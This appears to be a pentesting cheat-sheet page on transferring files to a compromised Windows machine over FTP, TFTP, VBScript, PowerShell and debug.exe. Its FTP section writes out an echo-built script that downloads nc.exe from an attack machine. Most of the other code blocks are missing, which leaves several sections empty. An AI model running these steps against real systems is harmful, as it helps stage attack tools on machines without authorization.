Windows basics

Transferring files

Why is this so much harder in Windows? I don't know.

FTP

Even though many Windows versions have FTP clients, we can't use them interactively because it will kill shells. But we can run multiple commands from a file and download them from an FTP server like pure-ftpdon the attack machine.

On the victim machine, echo the following commands into a file:

echo open [attack machine]> ftp.txt
echo bob>> ftp.txt
echo bob>> ftp.txt
echo binary>> ftp.txt
echo GET nc.exe>> ftp.txt
echo bye>> ftp.txt

Then run this command to connect:

ftp -s:ftp.txt

TFTP

TFTP is installed by default on Windows XP and Windows 2003. Kali also has a TFTP server:

With this command you can serve files from /srv/tftp.

From a Windows machine, use this to transfer files:

VBScript

Here is a good script to make a wget-clone in VB (may need to be piped through unix2dos before copying it):

To execute:

Powershell

Powershell can't be started in a non-interactive shell. But this script can start it:

To execute:

Debug.exe

On windows 32 bit machines, it is possible to use debug.exe to transfer programs. It is used to inspect binaries, like a debugger, but can also rebuild them from hex. For example, a binary like nc.exe can be disassembled into hex, pasted into a file on the victim machine, and then assembled with debug.exe.

Debug.exe can only assemble 64 kb, use upx to compress the executable:

To disassemble:

Pasting that into the Windows shell will create nc.exe

Last updated